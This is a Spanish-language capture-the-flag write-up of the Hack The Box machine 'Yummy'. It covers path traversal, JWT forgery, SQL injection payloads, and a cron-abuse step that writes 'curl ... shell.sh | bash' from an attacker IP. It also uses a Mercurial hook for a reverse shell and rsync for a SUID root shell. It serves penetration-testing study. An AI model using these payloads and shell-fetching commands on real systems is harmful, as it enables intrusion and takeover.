writeup yummy HTB
Yummy empieza como una página web para hacer reservas en restaurantes. Voy a explotar una vulnerabilidad de cruce de directorios en la función que genera los archivos de invitación al calendario para leer archivos del sistema, consiguiendo así acceso al código fuente del sitio web y a los crons que se están ejecutando. Descifraré la clave RSA utilizada para firmar las cookies JWT y así obtener acceso de administrador. Luego, aprovecharé una inyección SQL para escribir un script que será ejecutado por los crons.
Después, abusaré de otro cron para obtener acceso como el usuario www-data, que tiene permisos sobre un repositorio Mercurial (similar a Git). Allí, revisaré commits antiguos para encontrar las credenciales de otro usuario. Con este nuevo acceso, podré escribir un hook en Mercurial para pivotar de nuevo.
Este usuario puede ejecutar rsync como root, lo que me permitirá completar la máquina.
En Beyond Root, analizaré el código fuente en Python del sitio para entender su comportamiento, además de revisar las configuraciones erróneas que permitieron escribir archivos a través de MySQL, incluyendo ajustes en MySQL y AppArmor.
como siempre empezamos con los escaneos de nmap
nmap -p- --open --min-rate 5000 -sT -n -Pn -vvv 10.10.11.36 -oG allports

si hacemos un whatweb vemos lo siguiente

si vamos a la pagina web veremos lo siguiente 
al fondo vemos un sitio para reservar una mesa pero sin mas si hacemos un fuzzing con disearch por ejemplo encontramos lo siguiente

vemos un panel de regitro vamos a el

vale nos registramos y nos logeamos
y vemos una pantalla en negro queentiendo que sera si tengo reservciones

si pruebo a hacer una reservacion poniendo los datos de la cuenta

si volvemos a donde estava en negro ahora apararece esto 
si ahora abrimos burpsuite y capturamos la peticion cuando le damos a salvar el calendario

ahora cemos un forward por que esta no me interesa

ahora vemos que esta apuntando a un directorio llamdo export, elcual esta mal echo proque podemos apntar a otros archivos de la mquina como las tareas cron
![[Pasted image 20250107180007.png]]
vemos las tareas cron y algo mas
3 archivos que son importantes
en el backup si nos lo bajamos encontramos el siguiente script:
nos da una pista de como se hacen los jwt
y si le añadimos este archivo python 
ya podemos crear nuestro jwt de admin
con el siguiente script
si lo ejecutamos 
nos jenera el nuevo jwt que si lo pegamos en el apartado de cookies de seion y recargamos la pagina 
ganamos acceso a admindhasvoart
ahora como dato curioso hay un sqli pero no es necesario porque realmente no consigues nada si en el panel de busqueda pones algo hace de esta forma la busqueda http://yummy.htb/admindashboard?s=dwadaw&o=ASC
pues en ASC hay un sqli si hacemos yummy.htb/admindashboard?s=fwfw&o=ASC union selec 1,2,3;

confirmamos las sopechas y si despues hacemos http://yummy.htb/admindashboard?s=edu&o=ASC;select extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_name='users'))) ![[Pasted image 20250107182105.png]]
y vemos las tablas pero mas de aqui no podemos ir por desgracia
volviendo a la parte correcta. si vemos las tareas cron veremos que hay un archivo dbmonitor.sh que lo que hace es una tarea de mysql
hay una sentencia else que hace si dbstatus.json sale y no incluye el texto database is down, borra el archivo .json y ejecuta el primer archivo fixer-v en /data/scripts.
por lo que debemos adelantarnos para ello vamos a usar las siguientes url http://yummy.htb/admindashboard?s=aa&o=ASC%3b+select+"pwned"+INTO+OUTFILE++'/data/scripts/dbstatus.json'+%3b http://yummy.htb/admindashboard?s=aa&o=ASC%3b+select+"curl+10.10.15.7:8000/shell.sh+|bash%3b"+INTO+OUTFILE++'/data/scripts/fixer-v___'+%3b
nos ponemos un sever python con la shell y en ecucha con netcat y pasado un rato
una vez dentro tenemos que salir
esto es casi igual que lo que acabamos de hacer si recordamos avia un archivo app_backup.sh en las cron
pues es tan simple como remplazar ese archivo con la shell que emos usado
y una vez echo
una ve aqui hay dosa casos o lipheas.sh te da la password (LIT me la dio la primera vez que lo hice) pero la forma real seria la siguiente
vamos a ver un directorio .hg en el cual hay una serie de directorios si hacemos

root
si hacemos un sudo -l vemos lo siguiente 
podemos ejecutar /usr/bin/hg como Dev li cual es interesante
/usr/bin/hg es un sistema de control de versiones similar a git que permite extraer o copiar archivos y repos. Ambos programas utilizan ganchos para desencadenar ciertos eventos después de extraer, confirmar y actualizar. Usando estos hooks podemos ejecutar un script después de que el pull esté hecho. Primero se necesita un archivo de configuración .hgrc para ejecutar un hook. Usemos el .hgrc en /home/qa/ y agreguemos la siguiente línea hooks\npost-pull = /tmp/shell.sh.
nos ponemos en escucha con netcat y ganaremos shell
una vez como dev si hacemos un sudo -l veremos que tenemos permiso SUID sobre:
En esencia, este comando nos permite copiar archivos, de manera recursiva, desde el directorio /home/dev/app/production/* en el directorio /opt/app (excluyendo archivos .hg).
que podemos hacer. podemos hacernos una copia de bin/bash la cual se SUID y propiedad de root
y funciono
Última actualización